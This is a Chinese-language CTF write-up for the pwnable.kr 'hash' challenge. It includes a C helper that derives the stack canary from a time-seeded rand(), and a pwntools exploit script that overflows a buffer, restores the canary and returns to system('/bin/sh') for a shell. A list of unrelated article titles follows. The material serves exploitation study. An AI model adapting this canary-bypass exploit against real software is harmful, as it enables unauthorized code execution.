pwnable.kr writeup hash
来源:互联网 发布:快手上的淘宝优惠群 编辑:程序博客网 时间:2024/05/18 18:16
这道题还是学到了很多的,又一种绕过canary 的姿势
溢出点还是很明显的,v3只分配了512个字节的空间,但是输入在解码后有1024/4*3=768个字节,看了下保护机制。
可以覆盖canary,一开始猜测是ssp leak,后面发现canarty直接可计算出来
直接用C语言写个脚本算出canary
#include <stdio.h>#include <stdlib.h>int main(int argc, char* argv[]){ int time = atoi(argv[1]); int captcha = atoi(argv[2]); int cancary = 0; int nums[8]; int i; srand(time); for(i=0;i<=7;i++) { nums[i] = rand(); } cancary = captcha - nums[1] - nums[5] - nums[2] + nums[3] - nums[7] - nums[4] + nums[6] ; printf("%x",cancary);}
因为hash的栈结构是这样的
+---------+| 0x200 | <- v3+---------+| 0xc | <- v4+---------+
我们构造payload为
padding + canary + padding + system的地址 + /bin/sh的地址 + 返回地址
因为在gets 的时候正好在bbs中那就能直接把/bin/sh写入然后计算出他的地址
(512+4+12+4+4+4) = 720
最后的exp
from pwn import *import base64import re,oscontext(log_level = "debug")import timeimport randomimport subprocess#p=remote("pwnable.kr",9002)p=process("./hash")p.recvuntil(" : ")captcha = p.recvline().strip()p.sendline(captcha)t = int(time.time())canary = '0x' + os.popen('./hashc {} {}'.format(str(t), captcha)).read()print canarycanary = int(canary, 16)system_plt = 0x08049187bbs_addr = 0x0804B0E0payload = 'A' * 512 + p32(canary) + 'A' * 12 + p32(system_plt) + p32(0x0804B0E0 + 540*4/3) + p32(0)p.send(b64e(payload)+'/bin/sh\0')p.interactive()
p.s. 在看其他的大佬的writeup时发现,他们都遇到一个问题,那就是服务器时间与本地时间不相同导致计算的canary不正确,本地能getshell,但是远程无法getshell的问题,但是不知道为啥我直接就能过了,我觉得这是玄学,当然解决的办法其实就是题目的提示,去获取pwnable.kr网页的headers里面有时间详细可以看这位大佬的wp。
http://rickgray.me/2015/07/25/rookiss-writeup-pwnable-kr.html
0 0
- pwnable.kr writeup hash
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr writeup otp
- pwnable.kr uaf writeup
- pwnable.kr simple login writeup
- pwnable.kr writeup之unlink
- pwnable.kr writeup之simple login
- pwnable.kr codemap writeup / OD 脚本解题
- 使用css3实现翻书效果(一)
- View拖动实现
- C# 基于iTextSharp封装的PDF操作类
- 分析system_call中断处理过程
- CVPR2016代码合集
- pwnable.kr writeup hash
- 链表相关面试题(一)
- dfs-104. Maximum Depth of Binary Tree
- android UI 五大布局
- SSH实现批量删除
- 产品经理的要学习的知识
- Effective C++ 读书笔记
- Android设计模式(二)- 续:WindowManager
- 【Coursera Machine Learning】 Week2 学习笔记